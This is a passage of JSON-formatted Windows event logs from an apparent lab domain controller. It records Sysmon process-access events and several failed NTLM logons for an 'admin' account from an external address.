AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEB-5F2D-0000-001073680300}\r\nTargetProcessId: 3724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEB-5F2D-0000-001073680300}","TargetProcessId":"3724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221498,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60678\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60678","EventReceivedTime":"2020-08-07 11:50:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221499,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60786\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60786","EventReceivedTime":"2020-08-07 11:50:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 